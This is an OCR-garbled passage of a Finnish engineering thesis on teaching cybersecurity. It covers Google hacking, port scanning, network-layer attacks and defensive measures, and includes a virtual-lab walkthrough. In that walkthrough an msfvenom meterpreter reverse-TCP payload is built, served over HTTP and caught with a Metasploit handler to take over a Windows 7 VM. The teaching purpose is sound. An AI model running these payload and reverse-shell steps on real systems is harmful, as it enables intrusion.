sics Tools), kaytettavyystestit ( Stress testing), nuuskinta- ja huijaustyokalut (Sniffing and
Spoofing), salasanahyodkkaykset (Password Attacks), takaisinmallintaminen (Reverse
Engineering), yhteyden yllapitotydkalut (Maintaining Access), kovohakkerointi (Hard-
ware Hacking) ja raportointitytkalut ( Reporting Tools). [15.] Luvussa 6 tutustutaan muu-

tamaan tydkaluun syvemmin.

6 Tiedustelu

Tiedustelulla pyritdén selvittamaan yrityksesta tai yksilosta tietoja yleisten tietolahteiden
kautta niin, ettd kohde ei valttamatta edes tieda olevansa informaatiovaikuttamisen koh-
teena. Tahan kategoriaan voidaan luokitella esim. "pishing”, jolla kalastellaan salasa-
noja, sosiaalinen vaikuttaminen, jossa ly6ttaydytadn seuraan ja kysellaan esimerkiksi
yritykseen liittyvid asioita tai tydpaikan ulkopuolella olevassa ravintolassa kuunnellaan
salaa ihmisten keskusteluja. Yrityksen tietojarjestelmistd voidaan ottaa selvaa esimer-
kiksi porttiskannereiden avulla tai sitten "Google Hacking” -menetelmalla. Lisaksi on mui-

takin menetelmia.

6.1 Google Hacking

"Google hacking” -menetelma perustuu Google-hakukoneen ominaisuuksiin 16ytaa haa-

voittuvuuksia Internetista. Haavoittuvuuksia on kahdentyyppisia: ohjelmistohaavoittu-
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vuuksia ja vaarin konfiguroituja sovelluksia ja jarjestelmia. "Google Hacking” -menetel-
man etuna on se, ettéd hakukoneet kerédavat tietoa jarjestelmistéa koko ajan eiké niita pi-
deta vaarallisina eli ne eivat halyta jarjestelman yllapitajaa. Esimerkiksi "Google cache”
-toiminnon avulla voi saada kohteista vanhempaa tietoa. Google tallentaa aina koko
tiedoston omalle palvelimelleen. Hyokkaaja voi kayttaa hakukonetta hyvakseen tutkiak-
seen kohteen arkaluontoisia tietoja ottamatta edes yhteytté kohteen palvelimeen. [16.]

"Google Hacking” -tietokannassa on taulukossa 1 nakyvien aihealueiden valmiita kyse-

lyja.

Taulukko 1.  Googlen hakkerointikyselyt [17].

Web Server Detection (113)

Footholds (79)Examples of queries
These links demonstrate Googles awe-

that can help an attacker gain a foothold

into a web server

some ability to profile web servers.

Sensitive Directories (180)

Googles collection of web sites sharing
sensitive directories. The files contained in
here will vary from sensitive to Uber-se-
cret!

Files Containing Usernames (21)

These files contain usernames, but no
passwords... Still, Google finding
usernames on a web site.

Vulnerable Files (62)

HUNDREDS of vulnerable files that
Google can find on websites.

Files Containing Pass-

words (279)

PASSWORDS!!! Google found PASS-
WORDS!

Vulnerable Servers (94)

These searches reveal servers with spe-
cific vulnerabilities. These are found in a
different way than the searches found in
the "Vulnerable Files" section.

Sensitive Online Shopping

Info (11)

Examples of queries that can reveal online
shopping infomation like customer data,
suppliers, orders, credit card numbers,
credit card info, etc

metropolia.fi

ﬂ7 Metropolia



https://www.exploit-db.com/google-hacking-database/1/
https://www.exploit-db.com/google-hacking-database/1/
https://www.exploit-db.com/google-hacking-database/4/
https://www.exploit-db.com/google-hacking-database/3/
https://www.exploit-db.com/google-hacking-database/2/
https://www.exploit-db.com/google-hacking-database/5/
https://www.exploit-db.com/google-hacking-database/9/
https://www.exploit-db.com/google-hacking-database/9/
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https://www.exploit-db.com/google-hacking-database/10/
https://www.exploit-db.com/google-hacking-database/10/
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Error Messages (100) Files Containing Juicy Info (565)
Really verbose error messages that say No usernames or passwords, but interest-
WAY too much! ing stuff none the less.

Network or Vulnerability | Pages Containing Login Por-

Data (87) tals (510)

These pages contain such things as fire- These are login pages for various services.

wall logs, honeypot logs, network infor- Consider them the front door of a websites

mation, IDS logs... All sorts of fun stuff! more sensitive functions

Various Online Devices (393) Advisories _and _ Vulnerabili-

This category contains things like printers, | ties (2019)
video cameras, and all sorts of cool things | =
found on the web with Google. These searches locate vulnerable servers.
These searches are often generated from
various security advisory posts, and in
many cases are product or version-specific.

6.2 Porttiskannaus

Erityisiasiantuntija Antti Kurittu kirjoittaa Tietomurtojen ennaltaehkaisy, havaitseminen ja

tutkinta -artikkelissaan seuraavasti:

"Porttiskannaus on toimenpide, jonka avulla pyritddn selvittdmaan tietojarjestel-
man eri tietolikenneporteissa toimivia ohjelmia ja kayttojarjestelmia seka niiden
haavoittuvuutta. Tavanomaisesti porttiskannaus suoritetaan kayttden hyvaksi tata
varten laadittua ohjelmaa, joka voi - kdytetystd ohjelmasta riippuen - esimerkiksi
palauttaa raportin skannauksen kohteena olevasta koneesta, sen tietoliikennepor-
teista, ohjelmistoista ja niiden tiedetyista tietoturva-aukoista. Porttiskannausohjel-
maa voidaan kayttaa luvallisessa tarkoituksessa esimerkiksi tietojarjestelman tur-
vallisuusjarjestelyjen selvittdmiseen. Porttiskannausohjelmalla on nain ollen mah-
dollista jarjestelmallisesti selvittda tietojarjestelmadn mahdollisia aukkoja ja sen

heikkoja kohtia. Toimenpiteen avulla kyetdan saamaan tietoja, jotka mahdollista-

metropolia.fi ﬂfMetropolia


https://www.exploit-db.com/google-hacking-database/7/
https://www.exploit-db.com/google-hacking-database/8/
https://www.exploit-db.com/google-hacking-database/11/
https://www.exploit-db.com/google-hacking-database/11/
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https://www.exploit-db.com/google-hacking-database/13/
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vat myds luvattoman paasyn kohteena olevaan jarjestelmaan. Ohjelmaa kaytta-

malla hankitun tiedon avulla voidaan siten laissa tarkoitetuin tavoin murtaa tieto-

jarjestelmén turvajarjestely. Kuten lain esitdissa todetaan jo se, etta yrittda hankkia

tallaisen luvattoman péaésyn jarjestelmédan mahdollistavan tiedon, on rangaistavaa,

jos se tehdaan tarkoituksella oikeudettomasti tunkeutua tietojérjestelmaan”. [18.]

Porttiskannaus tehdaan Kali Linuxin mukana tulevalla Zenmap-ohjelmalla seuraavasti:

kytketdan W7-koneelta Firewall-toiminto pois paalta. Taman jalkeen asetetaan kohde-

koneen IP-osoite ja saadaan kuvan 10 mukaisesti ndkymaan avoimet portit.

Applications ¥ Placesv @ Zenmap ¥

Scan Tools Profile Help

Target: |10.10.0.3 v

Zenmap @ 0

Profile: ‘Quick scan v Scan

Comnmnd:innwp—T4-F1Q1Q03

Hosts || Services | | Nmap Output | Ports/Hosts Topology HostDetails Scans

0S | Host y |[nmap-T4-F10.10.0.3 ¢‘ \DetailsJ

¥ 10.10.0.3 Starting Nmap 7.70 ( https://nmap.org ) at

2019-02-03 12:44 EST

Nmap scan report for 10.10.0.3
Host is up (0.00052s latency).
Not shown: 90 closed ports

PORT
135/tcp
139/tcp
445 /tcp
5357/tcp
49152 /tcp
49153/tcp
49154 /tcp
49155/tcp
49156/tcp
49157 /tcp

STAT
open
open
open
open
open
open
open
open
open
open

MAC Address: 0
virtual NIC)

E SERVICE
msrpc
nethios-ssn
microsoft-ds
wsdapi
unknown
unknown
unknown
unknown
unknown
unknown

8:00:27:96:31:42 (Oracle VirtualBox

Nmap done: 1 IP address (1 host up) scanned in
14.35 seconds

| Filter Hosts

Kuva 10: Onnistunut porttiskannaus Zemap-ohjelmistolla.
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6.3 Wireshark

Wireshark-ohjelma on oiva tydkalu tutkia verkossa liikkkuvaa dataa. Se mahdollistaa da-
tapakettien analysoinnin Wireshak-ohjelman sisalla. Datapakettien likenne kaapataan
Wireshark-ohjelman muistiin, minka jalkeen se voidaan ryhmitella protokollatasolla eri-
laisiin lohkoihin.Wiresharkin toimintaperiaate on seuraava: Se kaappaa datan verkkolii-
tannasta, ja sen jalkeen kaapattu data pilkotaan ymmarrettaviksi kehyksiksi tai pake-
teiksi, joilla on alku ja loppu. Taman jalkeen Wireshark-ohjelma tulkitsee datan ja tuo
esille niin, ettd siitd ilmenevat osoitteet, protokollat ja tietosisaltd. Data voidaan tulkita
heti tai tallentaa myohempaa tulkintaa varten tai sita voidaan jakaa muille. Lisaksi Wi-
resharkissa on "promiscuous mode” -asetus, jolla ohjelma saadaan jaljitamaan myos
langattoman verkon liilkennetté. [19.]

Wireshark on parhaimmillaan silloin, kun etsitddn jonkin ongelman syyta bittitasolla tai
selvitetaan laitteiden valista protokollaa tai tietovirtaa [19].

7 Hyokkaykset tietoverkon kautta

Tietoverkon kautta tehdaan hyokkayksia eri tavoilla, ja niissd hyddynnetaan tietoliiken-
teen OSI-mallin eli Open Systems Interconnectionin eri kerrosten tiedonsiirtoprotokollia
ja niiden ominaisuuksia. Talldin puhutaan Ethernet-kehyksista, ARP-protokollasta, IP-
protokollasta, TCP-protokolasta ja UDP-protokollasta. Kuvassa 11 on esitelty OSI-mallin
7 kerrosta ja kerroksilla vaikuttavat protokollat. ARP-protokolla on siirtokerroksen proto-
kolla.
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Verkkoon
lahettdminen
Yiemmait
kerrokset
Alemmat
kerrokset
Verkosta
vastaanottaminen

7. Sovelluskerros

6. Esitystapakerros

5. Istuntokerros

4. Kuljetuskerros

3. Verkkokerros

2. Siirtokerros

1. Fyysinen kerros

Kuva 11: OSI-mallin 7 kerrosta [20].

7.1 Fyysisen kerroksen hyokkays

20

HTTP, FTP, SMTP

GIF, JPG, MPEG

AppleTalk, WinSock

TCP, UDP, SPX

IP, ICMP, IPX

ATM, Ethernet fita. kytkin

Ethernet, Token ring u

Fyysisen kerroksen hyokkayksiin kuuluvat esimerkiksi kaapelit ja valokuidut seké radio-

aallot. Fyysisen kerroksen hyokkayksissé voidaan kaapeli irrottaa tai haaroittaa ja va-

listd voidaan siepata dataa. Valokuiduista voidaan esimerkiksi kuunnella merikaape-

leissa kulkevaa dataa, jos kalusto on riittdvan jaredd. Kuvassa 12 kerrotaan sukellusve-

neilla tapahtuvasta hakkeroinnista.

By DAVID E. SANGER and ERIC SCHMITT OCT. 25, 2015

WASHINGTON — Russian submarines and spy ships are aggressively
operating near the vital undersea cables that carry almost all global Internet

communications, raising concerns among some American military and

intelligence officials that the Russians might be planning to attack those

lines in times of tension or conflict.

Kuva 12: New York Times -sanomalehden artikkeli sukellusveneelld tapahtuvasta salakuuntelusta [21].
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Langattomassa verkossa tiedot siirtyvét radioaaltojen valityksella tietyn kantavuusalueen
sisalla. Adapteri muuntaa sahkoiset signaalit radioaalloiksi, joita kayttajat lahettavat tai
vastaanottavat. Taman uuden tekniikan heikkous ovat juuri radioaallot, jotka leviavat
kaikkialle kantavuusalueella. Usein ne ulottuvat yrityksen toimitilojen ulkopuolelle. Kuka
tahansa yrityksen laheisyydessa vaijyva hakkeri voi siepata radioaallot. Hakkeri tarvitsee
vain tavallisen kannettavan tietokoneen, jossa on langattoman verkon kortti seka vapaita

verkkoja hakeva ohjelmisto. [22.]
7.2 Siirtoyhteyskerroksen hydkkays
Siirtoyhteyskerroksen hyokkayksessa paatelaite selvittaéa ARP-protokollan avulla tarvit-

semansa kohdelaitteen MAC-osoitteen. Tieto tallennetaan kytkimen osoitetauluun, jonka
periaatekaavio on esitetty kuvassa 13.

" BRI (e
P3|CCCCCCcCCcCCccC
= ur
AA AA AA AA AAAA
= :
- > : MAC-osoite:
MAC-osoite: AC-osoite: CC CC CC CC CC CC
AA AA AA AA AA AA BB BB BB BB BB BB

Kuva 13: Kytkimen osoitetaulu [23].

Hyodkkaaja lahettaa verkkoon sekunnissa tuhansia kehyksia, joissa on satunainen lahde
-osoite. Talldin kytkinten MAC -taulut tayttyvat ja lahettavat kaikesta liikenteesta kopion
kaikkialle. Tasta seuraa se, ettd hyokkaajalle paatyy kopio kaikesta kahden tietokoneen
vdlisesta liikenteesta, kuten kuvassa 15 on esitetty. Kayttdmalla sopivaa paketinpur-
kuohjelmistoa, esimerkiksi Wireshark-ohjelmistoa, pystyy hyokkaaja saamaan selville ar-
kaluontoista tietoa. Téallaisesta hyotkkdysmenetelmésta kaytetddn nimitystd Tulvitus
(MAC Flooding). [23; 24.]
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Kuva 14: Tulvitus -hyokkays.[24.]

7.3 Verkkokerroksen hytkkaysmenetelmat

Verkkokerroksen hydkkaysmenetelmana voidaan kayttaa esimerkiksi ICMP-tulvaa. Tal-
I6in likenne muodostuu ICMP-paketeista, kuten ping-komennon “echo request” tai "echo
reply”-viesteistd. Esimerkiksi Smurf-hydkkays toteutetaan lahettamalla vaarennetylla
lahdeosoitteella varustettuja ICMP-paketteja verkon broadcast-osoitteeseen, jolloin
kaikki kyseisen verkon laitteet saavat kyselyn ja mahdolliset vastaukset menevat vaa-
rennettyyn hyokkéayksen kohteena olevaan osoitteeseen. Kohteen kannalta paketit nayt-
tavat tulevan eri osoitteista, jolloin hyokkayksen torjuminen IP-osoitteen perusteella ei

onnistu. Hyokk&aajan osoitetta paketeissa ei nay. [25.]

7.4 Kuljetuskerroksen hyotkkaykset

"Kuljetuskerroksen hyokkaykset pyrkivat kuluttumaan kaiken palvelimen saatavissa olevan
kaistan tai kayttamaan hyvaksi heikkouksia kuljetuskerroksen protokollissa. Nama vaativat
paljon resursseja hyokkaajalta, joten naitd kutsutaan myoés volyymipohjaisiksi hydkkayk-
siksi”. [26.]

Yksi esimerkki on TCP SYN-Flood -hyokkays. Siind kaytetaan hyvaksi TCP-protokollan
kolmivaihekattelya. Kattelyn toimintaperiaate on seuraava: yhteyden muodostava kone
lAhettdd SYN-viestin palvelimelle, palvelin kuittaa saamansa pyynnon SYN-ACK-vies-
tilla, ja tdméan jalkeen yhteyden pyytgja vastaa ACK-viestilla, etta yhteys on muodostu-
nut. SYN-Flood-hyokkayksessa hyokkaaja lahettaa vaarennetylla IP-osoitteella paljon

SYN-paketteja kohdepalvelimelle. Palvelin ei tieda olevansa hyokkayksen kohteena ja
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lahettaa SYN —ACK-vastauksia olemattomille IP-osoitteille, mutta ei saa takaisin kuit-
tauksia. Tama aiheuttaa sen, ettéa palvelimelle jaa paljon avonaisia portteja odottamaan
ACK-kuittauksia, joita ei lopulta saavukaan. Jossain vaiheessa porttitaulussa tapahtuu
ylivuoto, ja palvelin joko kaatuu tai toimii vaarin. [27.]

8 Tietomurtohydkkayksen anatomia

Lahtdkohtaisesti hakkeri paasee sisaan jarjestelmaan, jos hanella on riittdva motivaatio
ja riittavasti aikaa. Yleensa kaikki hytkkaykset noudattavat tuttua kaavaa, joissa hyok-
k&aja saa jotenkin muuntamansa exe-koodin ujutettua jarjestelméan sisaan esimerkiksi
Word-tekstinkasittelyohjelman liitetiedoston, selaimen tai nappéaimiston avulla ja sen jal-
keen kayttgjan suorittamaan exe-koodin. Taméan jalkeen murtautuja siirtda koodin johon-

kin muuhun prosessiin ja kayttdjan on vaikea I0ytaa sitd enda jarjestelmasta.

8.1 Hyotkkaysympariston rakentaminen

Parhaiten hyokkaysta paastddn kokeilemaan virtualisoidussa oppimisymparistdssa.
Siina VirtualBOX-ympadrist66n asennetaan Kali Linux-kone, josta hydkkaykset tapahtu-
vat ja hyokkayksen kohdekoneiksi Windows7-tydasemakone ja Windows Server2012-
palvelinkone. Kuvaan 15 on piirretty havainnekuva oppimisymparistésta ja virtuaaliko-
neiden IP-asetuksista.
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0-2 =

}uﬁralBOX kyiin
-9 2 T2

- v -
o PC-PT PC-PT PC-PT
Kali Linux IP 10.10.0.2 W7 IP10.10.0.3 Server2012 IP 10.10.0.1

Kuva 15: Oppimisymparistdn koneiden IP-osoitteiden maaritykset.

Toteutetaan hytkkays Kali Linux -koneelta Windows7-koneelle. Hydkkays toteutetaan
rakentamalla kohde koneeseen (W7) kuorma msfvenom tyokalun avulla. Kuvassa 16

nahdaan tarvittavat parametrit.

:~# msfvenom -p windows/meterpreter/reverse tcp LHOST=10.10.0.2 LPORT=4
4444 -e x86/shikata ga nai -i 1JJ-f exe -o meterpreter.exe

Kuva 16:Hyodkkayskuorman rakentaminen.

Saastutettu tiedosto meterpreter.exe siirretaan hakemistoon /var/www/html, josta se voi-
daan siirtdd W7-koneeseen. Kuvassa 17 on esitetty kuorman siirto oikeaan hakemis-

toon.

:~# cp meterpreter.exe /var/www/html
:~# cd /var/www/html
L) v/html# 1s -la
total 100
drwxr-xr-x root 4096 Jan

drwxr-xr-x root 4096 Oct o
-rW-r--r-- root 10701 Oct : index.html
-rw-r--r-- root 612 Oct - index.nginx-debian.html
=W~ =T~ root 73802 Jan : meterpreter.exe
: v/ html#

Kuva 17: Hyokkayskuorman siirto hakemistoon /var/www/html.
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Tartutettu meterpreter.exe-tiedosto siirretddan W7-koneeseen http-protokollan avulla.

Siirtotoiminto esitellaan kuvassa 18.

window 7 [Running] - Oracle VM VirtualBox — O x

File Machine View Input Devices Help

r=IE =

=1

> C @ Q_ 10.10.0.2/meterpreter.exe In @ =

@ Uusi valilehti x

2 [

G Verkkohaku N

m

Avataan tiedostoa meterpreter.exe

Olet avaamassa tiedostoa:
[=7] meterpreter.exe

Tiedosto on tyyppia: Binary File -tiedosto (72,1 kt)
osoitteesta: http://10.10.0.2

Tallennetaanko tiedosto?

[ Tallenna tiedosto | [ Peruuta |

N’

reddit amazon

2> Nostot v

O | .]e =]

1311
612019 |

IPIOLT T P e

F [ A D)

Kuva 18: Hyokkayskuorman siirto kohdekoneeseen.

Wireshark-ohjelman avulla seurataan samalla tietoliikennettd. Kuvassa 19 voidaan
nahda, ettda W7-kone (10.10.0.3) hakee GET-komennolla meterpreter.exe-tiedoston Kali
Linux -koneelta (10.10.0.2).
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*ethO @ 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
BAG® 5[ X[E Q « » Je» == aaqaFF
\ ]http [X] -| Expression.. +
Time Source Destination Protocol Length Info
I 79 129.734079446 10.10.0.3 10.10.0.2 HTTP 496 GET
. 91 129.735345881 10.10.0.2 10.10.0.3 HTTP 7003 HTTFQ
1 »
Upgrade-Insecure-Requests: 1\r\n =

If-Modified-Since: Wed, 02 Jan 2019 14:25:40 GMT\r\n
If-None-Match: "1204a-57e7a6baa6bbd"\r\n

\r\n

[Full request URI: http://10.10.0.2/meterpreter.exe]
[HTTP request 1/1]

[Response in frame: 91] -
1 »
0000 [k 99 74| 95 8c 5e 08 0O 27 96 31 42 08 00 45 00 n A '-1B- -E =
01 05 cc 40 00 80 06 df 31 Pa Pa OO 03 Pa Oa @ 1
00 02 cO 11 00 50 f7 69 4b b® 39 al b4 58 50 18 P-i K-9:--XP
01 00 89 90 0O 00 47 45 54 20 2f 6d 65 74 65 72 GE T /meter

70 72 65 74 65 72 2e 65 78 65 20 48 54 54 50 2f preter.e xe HTTP/
31 2e 31 0d @a 48 6f 73 74 3a 20 31 30 2e 31 30 1.1--Hos t: 10.10
2e 30 2e 32 0d Pa 55 73 65 72 2d 41 67 65 6e 74 .0.2--Us er-Agent
3a 20 4d 6f 7a 69 6¢c 6c 61 2f 35 2e 30 20 28 57 : Mozill a/5.0 (W
69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 57 indows N T 6.1; W
69 6e 36 34 3b 20 78 36 34 3b 20 72 76 3a 36 34 in64; x6 4; rv:64

O 7 HTTP Accept (http.accept), 73 bytes Packets: 129 - Displayed: 2 (1.6%)  Profile: Default

Kuva 19: Wireshark-ohjelmalla tutkitaan hyokkayskuorman siirto.

Armitage-sovellus kaynnistetdan perusasetuksilla. Taman jalkeen kaynnistetdan Armi-
tage listener ja muistetaan antaa kuormaa rakennettaessa annettu porttimaarittely (port

44444). Tama kaikki ilmenee kuvassa 20.

file Machine View Input Devices Help

Applications ¥ Places v [ armitage-ArmitageMain v Sun14:01
Armitage

Armitage View Hosts Attacks Workspaces Help

> (& auxiliary
> (& exploit
> (& payload
» (& post
10.10.0.3 10.10.0.1
CreatelListener @ @ @
Port: 44444
Type: shell v
Start Listener
—

Kuva 20: Armitage listenerin kaynnistys.
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Sen jalkeen kaynnisteta&n W7-koneella kuorma ja Kali Linux -koneen naytolla nahdaan,
ettd W7-kone muuttuu punaiseksi eli se on saatu hallintaan kuvassa 21.

[i® Kali-Linux-2018.4-vbox-amd64 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Applications ¥ Places ¥  [@ armitage-ArmitageMain ~

Armitage View Hosts Attacks Workspaces Help

> @ auxiliary
> (& exploit
> (& payload
> (i post

v

[ console X exploit X]

msf > use exploit/multi/handler

msf exploit( ) > set LHOST 0.0.0.0

LHOST => 0.60.0.0

msf exploit( ) > set PAYLOAD generic/shell_reverse_tcp
PAYLOAD => generic/shell_reverse_tcp

msf exploit( ) > set LPORT 44444

LPORT => 44444

msf exploit( ) > set ExitOnSession false
ExitOnSession => false

msf exploit( ) > exploit -j

[*] Exploit running as background job 1.

[*] Started reverse TCP handler on 0.0.0.0:44444

[*] Command shell session 1 opened (10.10.0.2:44444 -> 10.10.60.3:49161) at 2019-02-03 14:02:55 -05600

Kuva 21: Kohdekone otettu hallintaan.
9 Kyberpuolustus
Yrityksen kyberpuolustuksen rakentamisen lahtokohtana on, etta taytyy ensin kartoittaa

yrityksen tarkein suojattava kohde. Tdméan jalkeen voidaan erilaisin teknisin ja koulutuk-

sellisin keinoin huolehtia siitd, etta suojattava kohde pysyy varjeltuna niin yritysvakoilun
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kuin muunlaisen hydkkaysuhan vaikutuksilta. On kuitenkin muistettava, ettd kun raken-
netaan suojamuuria hyokkayksia ja uhkia vastaan, on pidettava huoli myos siita, etta
tieto on kuitenkin sité tarvitsevien henkildiden ja jarjestelmien saatavilla helposti. Tieto-
turvan tarkoituksena ei ole tietoturva itseisarvona, vaan tiedon luottamuksellisuuden,
eheyden ja saatavuuden varmistaminen eli CIA-malli. Téhan tavoitteeseen paastdkseen
yrityksen on luotava kyberstrategia, johon kuuluu henkiléston kouluttaminen, tilojen si-
saanpaasyjen valvonta ja laitesijoittelu, tietokonelaitteiden tietoturvan maarittelyt, ohjel-
mistojen tietoturvan maarittelyt seka jarjestelmien vaatimat varmistukset ja palauttami-
set. Liséksi erittain tarkea asia on hyokkayksen havaitseminen ja hydkkayksen jalkeinen

toipuminen.

Seuraavaksi kasitelladn yrityksen kyberturvan parantamiseen liittyvia asioita. Itse olen
nostanut ykkosprioriteetille henkiloston koulutustarpeet. Priorisoinnissa useasti l&ahde-
taan siitd, etta laitetaan palomuurit ja paivitykset kuntoon ja sen jalkeen kerrotaan hen-
kilostoélle, miten yrityksen mielesta eri tilanteissa tulisi toimia. Oma prioriteettini koulutuk-
seen ja sen korostamiseen juontaa siita, ettd toimin opettajana. Pidan tarkeand, etta
henkildkunta sitoutetaan koulutuksen kautta kyberturvaan jo rakentamisvaiheessa. Kou-
lutuksen aikana henkilokunnalta saattaa tulla hyvia ehdotuksia kyberturvan paranta-
miseksi, ja ne saadaan lisattyd suoraan yrityksen kyberstrategiaan.

Henkiloston kouluttaminen

Henkildston kouluttaminen on ensiarvoisen tarkeda kyberstrategian onnistumiseksi. Mo-
nissa tutkimuksissa on todettu, ettéd henkilosté on yrityksen heikoin lenkki kyberstrate-
gian onnistumisen kannalta. Koulutettavia asioita on esimerkiksi salasanakaytanteet.
Tarkeaa on perustella hyvin se, ettd monimuotoisen ja riittdvan pitkan salasanan kaytta-
minen on tarpeellista. Lisdksi on tarked& kouluttaa koko henkildstd havannoimaan ja
puuttumaan yrityksen tiloissa liilkkuvien ulkopuolisten henkildiden tarpeellisuuteen ja sii-
hen, milla asioilla he liikkuvat. Tahan tulisi olla selkeat kaytannot, kuten esimerkiksi vie-
railijakortit. Tassakin on tarke&da korostaa, ettéa hakkerit eivat kaihda minkaanlaisia kei-
noja paastékseen yrityksen tietojarjestelmiin sisédkautta. Lisaksi on tarpeen kouluttaa
henkildst6 tunnistamaan erilaiset huijausmenetelmat, jotka saatavat tulla séhkopostin tai
median kautta puhumattakaan talon ulkopuolella erilaisissa sosiaalisissa tilanteissa yri-

tyksen asioista puhumisesta. Tietokoneiden ohjelmistojen péaivityskaytanteiden tuntemi-
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nen on saatettava koko henkildston tietoisuuteen ja jalleen korostettava siihen vaikutta-
via syita eli sita, miten se vahentda tietokoneiden tietoturvariskia ja mahdollisuutta tulla
saastutetuksi.

Tydasemien suojaaminen

Monilta tietoturvaongelmilta valtytaan, kun suunnitellaan tybasemakoneiden konfiguraa-
tiot niin, etta ne vastaavat yrityksen tarpeita. Useasti toimittajien kayttamat oletuskonfi-
guraatiot eivat ota huomioon yrityksen omia tietoturvavaatimuksia vaan ne ovat painot-

tuneet esimerkiksi saamaan koneesta parempaa suorituskykya. [28.]

Tarkeimpina asioina on otettava huomioon, ettéa tietokoneiden ohjelmistopaivitykset suo-
ritetaan ajallaan ja etta koneisiin on asennettu vain tarvittavat ohjelmistot. Lisdksi konei-
den tietojen varmistus- ja varmistusten palautusmenetelmien tulee olla testattu. Hyva on

suunnitella myos kaytosta poistettavien laitteiden tietojen tuhoamismenetelmat. [28.]

Palvelintietokoneiden suojaaminen

Asennetaan uusimmat kayttojarjestelmaversiot ja asennetaan vain tarpeelliset palvelut.
Ylimaaraiset palvelut poistetaan. Lisaksi asennetaan palvelintietokoneet lukittuun tilaan,
jonne vain tarpeellisilla henkilGilla on kulkuoikeus. M&aaritelladn palvelimen varmistusten
ajankohta ja palautustoiminnot seka testataan ne. Lisaksi suunnitellaan palvelinohjelmis-

tojen paivitysten ajankohta ja kayttoonotto. [28.]

Kayttboikeudet

Méaaritelladn kayttajat sopiviin ryhmiin ja suunnitellaan ryhmille kayttdoikeudet palvelui-
hin ja resursseihin GPO:n kautta. Kayttdoikeuksina maaritellaédn salasanan pituudet, voi-
massaoloajat ja monimuotoisuus. Liséksi voidaan estéda kaikilta esimerkiksi USB-muisti-

tikkujen kayttd. Sen sijaan voidaan kayttaa SD-muistikortteja ja muistikortin lukijaa. [29.]
Virukset ja muut haittaohjelmat
Asennetaan virustorjuntaohjelmat ja paivitetd&n niita saanndllisesti. Kiinnitetd&n erikoi-

sesti huomioita palvelinkoneisiin. Asennetaan sahkdpostisuotimet kuntoon, etta ne hyl-

k&avat epailyttavat liitetiedostot, kuten EXE ja Javascript. [29.]

metropolia.fi WM etropolia



30

Maaritetaan selaimet kayttamaéan aina HTTPS-protokollaa ja otetaan Java seké ActiveX

pois paalta. Lisaksi estetdan seka Flashin etta Silverlightin kaytto. [29.]

Poistetaan toimistotuotteilta kaytosta tarpeettomat ominaisuudet, kuten esimerkiksi mul-

timediaominaisuudet.

Etakaytto

VPN-ratkaisuilla saadaan kayttajille rakennuttua tietoturvallinen tyéskentelymahdollisus
kotoa. Kannettavien koneiden kayttdjille kannattaa korostaa, etta konetta ei saa jattaa
nakyviin esimerkiksi auton takapenkille tai hotellihuoneeseen. Hotellihuoneessakin kan-

nattaa kayttaa lukittavaa reppua.

Palomuuri

Palomuurijarjestelma kannattaa hankkia ja toteuttaa siihen palomuurin pakettisuodatus.
Liséksi palomuuriin kannattaa asentaa loki- ja halytysjarjestelméa. Palomuurijarjestelma

pitda olla testattuna ennen kayttéonottoa. [28.]

Tunkeutumisen havaitsemisen ja reagoinnin toimintamallit

Henkildiden, jotka vastaavat yrityksen tietojarjestelmista ja verkoista, on oltava valmis-
tautuneita etsimaan vihjeita tietoturvamurroista ja reagoimaan niihin. Hyva valmistautu-
minen antaa yritykselle valmiudet nopeasti havaita tunkeutuminen ja reagoida siihen

seka aloittaa nopeasti toipuminen normaalitilanteeseen.

Tarkeaa on, etta kerataan lokilistoja ja seurataan niita. Lisaksi verkkotoimintoja ja jarjes-
telmétoimintoja taytyy valvoa ja tutkia. On syyta myds skannata verkkoa luvattomista
laitteista ja luvattomasta fyysisesta resurssien kaytdstd. Myds tiedostoissa ja hakemis-
toissa tapahtuneet odottamattomat muutokset ovat signaali tietomurrosta. [28.]

Tunkeutumisiin reagointi
Mikaan torjuntamenetelma ei valttamatta pysty taysin ehkdisemaéan tunkeutumista, ja

sitd varten on tarkead, ettéd on suunniteltu etukateen toimintamalli ja vastuut, kuka tekee

ja mita tekee siind vaiheessa, kun tunkeutuminen havaitaan.
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Ensi vaiheessa pyritddn estamaan tunkeutujan eteneminen jarjestelmassa eli pysaytta-
maéan hyokkays. Seuraavaksi selvitetaan, missa laajuudessa tunkeutuminen on tapah-
tunut ja mihin tietoihin tunkeutuja on paassyt kéasiksi. Tarkedd on myos selvittaa hyok-
kadyksen kulku ja dokumentoida mahdollista rikostutkintaa varten kaikki lokit ja tiedot,
joita hyokkayksesta saadaan selville. Taman jalkeen tukitaan mahdolliset tietoturva-au-
kot ja palautetaan varmistusten kautta tiedot jarjestelmaan ja pyritdan aloittamaan jar-

jestelman normaali kaytto. [28.]

10 Johtopaatokset

Kyberturvallisuus on aihealueena erittain laaja, ja helposti opetuksessakin saatetaan lah-
ted ronsyilemééan asiasta toiseen. Tarkeinta olisi kuitenkin perusopetuksessa keskittya
kaikista oleellisimpiin asioihin, jotta koko opetusryhma saisi onnistumisen kokemuksia ja
oppisi seka tietoturvan ettd laajempana kokonaisuutena kyberturvan keskeiset asiat.
Tama tarkoittaa osittain myos sité, etta taytyy olla muutama tarkkaan valittu harjoitusteh-
tava, joiden ohjeistus on laadittu siten, etta aihealueesta vahitenkin kiinnostuneet opis-
kelijat saavat peruskasityksen hytkkayksen rakentamisesta ja sita kautta ymmartavat
puolustuksen tarkeyden. Paremmille ja asiasta enemman kiinnostuneille opiskelijoille on
tarjottava mahdollisuuksia syventaa taitojaan ja mahdollisesti myds 16ytaa kyberturvalli-

suuteen liittyvia alan harjoittelupaikkoja yrityksista.

Insinborintydn paatarkoitus oli kartoittaa sopiva oppimisympaéristd kyberturvallisuuden
opetukseen, ja sellainen ldydettiin. Toinen keskeinen tavoite oli kehittaa ja testata muu-
tama hyokkaysmenetelmé, joiden avulla oppilaat voisivat harjoitella kyberhydkkaysta.
Hydkkaysten testaaminen ja dokumentoiminen oli kuitenkin yllattavan vaativaa, joten
lopputuloksena paattotydhon saatiin yksi dokumentoitu hyokkays. Oppimisympariston
rakentaminen ja hyokkayksen testaaminen on jo kerran toteutettu ammattioppilaitoksen

kolmannen vuosikurssin opiskelijoille. Opiskelijoiden palaute oli mydnteinen.
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